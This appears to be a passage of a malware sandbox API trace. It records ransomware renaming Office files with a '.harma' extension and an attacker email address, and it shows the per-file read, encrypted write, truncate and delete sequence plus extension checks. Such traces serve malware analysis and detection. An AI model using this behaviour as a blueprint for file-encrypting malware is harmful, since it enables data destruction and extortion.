lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0164.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0164.802] lstrlenW (lpString=".jpg") returned 4 [0164.802] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0164.802] lstrcmpiW (lpString1=".VSL", lpString2=".harma") returned 1 [0164.802] lstrlenW (lpString="VISUTILS.VSL") returned 12 [0164.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visutils.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0164.803] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=50544) returned 1 [0164.803] CloseHandle (hObject=0x398) returned 1 [0164.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visutils.vsl")) returned 0x20 [0164.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visutils.vsl.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0164.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visutils.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0164.803] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0164.803] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0164.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visutils.vsl.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0164.804] GetLastError () returned 0x0 [0164.804] ReadFile (in: hFile=0x398, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0xc570, lpOverlapped=0x0) returned 1 [0164.818] WriteFile (in: hFile=0x3ac, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xc580, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xc580, lpOverlapped=0x0) returned 1 [0164.820] ReadFile (in: hFile=0x398, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0164.820] WriteFile (in: hFile=0x3ac, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0164.820] SetEndOfFile (hFile=0x3ac) returned 1 [0164.820] CloseHandle (hObject=0x3ac) returned 1 [0164.820] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0164.820] SetEndOfFile (hFile=0x398) returned 1 [0164.823] CloseHandle (hObject=0x398) returned 1 [0164.823] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0164.823] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visutils.vsl")) returned 1 [0164.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0164.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0164.824] lstrlenW (lpString=".doc") returned 4 [0164.824] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0164.824] lstrlenW (lpString=".docx") returned 5 [0164.824] lstrcmpiW (lpString1=".docx", lpString2="S.VSL") returned -1 [0164.824] lstrlenW (lpString=".pdf") returned 4 [0164.824] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0164.824] lstrlenW (lpString=".xls") returned 4 [0164.824] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0164.824] lstrlenW (lpString=".xlsx") returned 5 [0164.824] lstrcmpiW (lpString1=".xlsx", lpString2="S.VSL") returned -1 [0164.824] lstrlenW (lpString=".ppt") returned 4 [0164.824] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0164.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0164.824] lstrlenW (lpString=".zip") returned 4 [0164.824] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0164.824] lstrlenW (lpString=".rar") returned 4 [0164.824] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0164.824] lstrlenW (lpString=".bz2") returned 4 [0164.824] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0164.824] lstrlenW (lpString=".7z") returned 3 [0164.825] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0164.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0164.825] lstrlenW (lpString=".dbf") returned 4 [0164.825] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0164.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0164.825] lstrlenW (lpString=".1cd") returned 4 [0164.825] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0164.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0164.825] lstrlenW (lpString=".jpg") returned 4 [0164.825] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0164.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0164.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0164.825] lstrlenW (lpString=".doc") returned 4 [0164.825] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0164.825] lstrlenW (lpString=".docx") returned 5 [0164.825] lstrcmpiW (lpString1=".docx", lpString2="S.VSL") returned -1 [0164.825] lstrlenW (lpString=".pdf") returned 4 [0164.825] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0164.825] lstrlenW (lpString=".xls") returned 4 [0164.825] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0164.825] lstrlenW (lpString=".xlsx") returned 5 [0164.825] lstrcmpiW (lpString1=".xlsx", lpString2="S.VSL") returned -1 [0164.825] lstrlenW (lpString=".ppt") returned 4 [0164.825] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0164.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0164.825] lstrlenW (lpString=".zip") returned 4 [0164.825] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0164.825] lstrlenW (lpString=".rar") returned 4 [0164.825] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0164.825] lstrlenW (lpString=".bz2") returned 4 [0164.825] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0164.825] lstrlenW (lpString=".7z") returned 3 [0164.826] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0164.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0164.826] lstrlenW (lpString=".dbf") returned 4 [0164.826] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0164.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0164.826] lstrlenW (lpString=".1cd") returned 4 [0164.826] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0164.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0164.826] lstrlenW (lpString=".jpg") returned 4 [0164.826] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0164.826] lstrcmpiW (lpString1=".vsdir", lpString2=".harma") returned 1 [0164.826] lstrlenW (lpString="Visfilem.vsdir") returned 14 [0164.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir\\visfilem.vsdir"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0164.827] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=153) returned 1 [0164.827] CloseHandle (hObject=0x398) returned 1 [0164.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir\\visfilem.vsdir")) returned 0x20 [0164.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir\\visfilem.vsdir.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0164.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir\\visfilem.vsdir"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0164.827] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0164.827] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0164.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir\\visfilem.vsdir.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0164.842] GetLastError () returned 0x0 [0164.842] ReadFile (in: hFile=0x398, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x99, lpOverlapped=0x0) returned 1 [0164.843] WriteFile (in: hFile=0x3ac, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xa0, lpOverlapped=0x0) returned 1 [0164.844] ReadFile (in: hFile=0x398, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0164.844] WriteFile (in: hFile=0x3ac, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xf0, lpOverlapped=0x0) returned 1 [0164.845] SetEndOfFile (hFile=0x3ac) returned 1 [0164.845] CloseHandle (hObject=0x3ac) returned 1 [0164.845] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0164.845] SetEndOfFile (hFile=0x398) returned 1 [0164.847] CloseHandle (hObject=0x398) returned 1 [0164.848] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0164.848] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir\\visfilem.vsdir")) returned 1 [0164.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0164.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0164.849] lstrlenW (lpString=".doc") returned 4 [0164.849] lstrcmpiW (lpString1=".doc", lpString2="sdir") returned -1 [0164.849] lstrlenW (lpString=".docx") returned 5 [0164.849] lstrcmpiW (lpString1=".docx", lpString2="vsdir") returned -1 [0164.849] lstrlenW (lpString=".pdf") returned 4 [0164.849] lstrcmpiW (lpString1=".pdf", lpString2="sdir") returned -1 [0164.849] lstrlenW (lpString=".xls") returned 4 [0164.849] lstrcmpiW (lpString1=".xls", lpString2="sdir") returned -1 [0164.849] lstrlenW (lpString=".xlsx") returned 5 [0164.849] lstrcmpiW (lpString1=".xlsx", lpString2="vsdir") returned -1 [0164.849] lstrlenW (lpString=".ppt") returned 4 [0164.849] lstrcmpiW (lpString1=".ppt", lpString2="sdir") returned -1 [0164.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0164.849] lstrlenW (lpString=".zip") returned 4 [0164.849] lstrcmpiW (lpString1=".zip", lpString2="sdir") returned -1 [0164.850] lstrlenW (lpString=".rar") returned 4 [0164.850] lstrcmpiW (lpString1=".rar", lpString2="sdir") returned -1 [0164.850] lstrlenW (lpString=".bz2") returned 4 [0164.850] lstrcmpiW (lpString1=".bz2", lpString2="sdir") returned -1 [0164.850] lstrlenW (lpString=".7z") returned 3 [0164.850] lstrcmpiW (lpString1=".7z", lpString2="dir") returned -1 [0164.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0164.850] lstrlenW (lpString=".dbf") returned 4 [0164.850] lstrcmpiW (lpString1=".dbf", lpString2="sdir") returned -1 [0164.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0164.850] lstrlenW (lpString=".1cd") returned 4 [0164.850] lstrcmpiW (lpString1=".1cd", lpString2="sdir") returned -1 [0164.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0164.850] lstrlenW (lpString=".jpg") returned 4 [0164.850] lstrcmpiW (lpString1=".jpg", lpString2="sdir") returned -1 [0164.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0164.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0164.850] lstrlenW (lpString=".doc") returned 4 [0164.850] lstrcmpiW (lpString1=".doc", lpString2="sdir") returned -1 [0164.850] lstrlenW (lpString=".docx") returned 5 [0164.850] lstrcmpiW (lpString1=".docx", lpString2="vsdir") returned -1 [0164.850] lstrlenW (lpString=".pdf") returned 4 [0164.850] lstrcmpiW (lpString1=".pdf", lpString2="sdir") returned -1 [0164.850] lstrlenW (lpString=".xls") returned 4 [0164.850] lstrcmpiW (lpString1=".xls", lpString2="sdir") returned -1 [0164.850] lstrlenW (lpString=".xlsx") returned 5 [0164.850] lstrcmpiW (lpString1=".xlsx", lpString2="vsdir") returned -1 [0164.850] lstrlenW (lpString=".ppt") returned 4 [0164.850] lstrcmpiW (lpString1=".ppt", lpString2="sdir") returned -1 [0164.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0164.850] lstrlenW (lpString=".zip") returned 4 [0164.850] lstrcmpiW (lpString1=".zip", lpString2="sdir") returned -1 [0164.851] lstrlenW (lpString=".rar") returned 4 [0164.851] lstrcmpiW (lpString1=".rar", lpString2="sdir") returned -1 [0164.851] lstrlenW (lpString=".bz2") returned 4 [0164.851] lstrcmpiW (lpString1=".bz2", lpString2="sdir") returned -1 [0164.851] lstrlenW (lpString=".7z") returned 3 [0164.851] lstrcmpiW (lpString1=".7z", lpString2="dir") returned -1 [0164.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0164.851] lstrlenW (lpString=".dbf") returned 4 [0164.851] lstrcmpiW (lpString1=".dbf", lpString2="sdir") returned -1 [0164.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0164.851] lstrlenW (lpString=".1cd") returned 4 [0164.851] lstrcmpiW (lpString1=".1cd", lpString2="sdir") returned -1 [0164.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0164.851] lstrlenW (lpString=".jpg") returned 4 [0164.851] lstrcmpiW (lpString1=".jpg", lpString2="sdir") returned -1 [0164.851] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0164.851] lstrlenW (lpString="VVIEWRES.DLL") returned 12 [0164.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vviewres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0164.870] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=668544) returned 1 [0164.870] CloseHandle (hObject=0x3a0) returned 1 [0164.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vviewres.dll")) returned 0x20 [0164.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vviewres.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0164.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vviewres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0164.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0164.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0164.871] lstrlenW (lpString=".doc") returned 4 [0164.871] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0164.871] lstrlenW (lpString=".docx") returned 5 [0164.871] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0164.871] lstrlenW (lpString=".pdf") returned 4 [0164.871] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0164.871] lstrlenW (lpString=".xls") returned 4 [0164.871] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0164.871] lstrlenW (lpString=".xlsx") returned 5 [0164.871] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0164.871] lstrlenW (lpString=".ppt") returned 4 [0164.871] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0164.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0164.871] lstrlenW (lpString=".zip") returned 4 [0164.871] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0164.871] lstrlenW (lpString=".rar") returned 4 [0164.871] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0164.872] lstrlenW (lpString=".bz2") returned 4 [0164.872] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0164.872] lstrlenW (lpString=".7z") returned 3 [0164.872] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0164.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0164.872] lstrlenW (lpString=".dbf") returned 4 [0164.872] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0164.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0164.872] lstrlenW (lpString=".1cd") returned 4 [0164.872] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0164.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0164.872] lstrlenW (lpString=".jpg") returned 4 [0164.872] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0164.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0164.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0164.872] lstrlenW (lpString=".doc") returned 4 [0164.872] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0164.872] lstrlenW (lpString=".docx") returned 5 [0164.872] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0164.872] lstrlenW (lpString=".pdf") returned 4 [0164.872] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0164.872] lstrlenW (lpString=".xls") returned 4 [0164.872] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0164.872] lstrlenW (lpString=".xlsx") returned 5 [0164.872] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0164.872] lstrlenW (lpString=".ppt") returned 4 [0164.872] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0164.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0164.872] lstrlenW (lpString=".zip") returned 4 [0164.873] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0164.873] lstrlenW (lpString=".rar") returned 4 [0164.873] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0164.873] lstrlenW (lpString=".bz2") returned 4 [0164.873] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0164.873] lstrlenW (lpString=".7z") returned 3 [0164.873] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0164.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0164.873] lstrlenW (lpString=".dbf") returned 4 [0164.873] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0164.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0164.873] lstrlenW (lpString=".1cd") returned 4 [0164.873] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0164.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0164.873] lstrlenW (lpString=".jpg") returned 4 [0164.873] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0164.873] lstrcmpiW (lpString1=".VRD", lpString2=".harma") returned 1 [0164.873] lstrlenW (lpString="WDERRLNK.VRD") returned 12 [0164.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wderrlnk.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0164.874] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=1826) returned 1 [0164.875] CloseHandle (hObject=0x3a0) returned 1 [0164.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wderrlnk.vrd")) returned 0x20 [0164.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wderrlnk.vrd.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0164.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wderrlnk.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0164.875] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0164.875] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0164.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wderrlnk.vrd.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0164.876] GetLastError () returned 0x0 [0164.876] ReadFile (in: hFile=0x3a0, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x722, lpOverlapped=0x0) returned 1 [0164.879] WriteFile (in: hFile=0x374, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x730, lpOverlapped=0x0) returned 1 [0164.880] ReadFile (in: hFile=0x3a0, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0164.880] WriteFile (in: hFile=0x374, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0164.880] SetEndOfFile (hFile=0x374) returned 1 [0164.880] CloseHandle (hObject=0x374) returned 1 [0164.880] 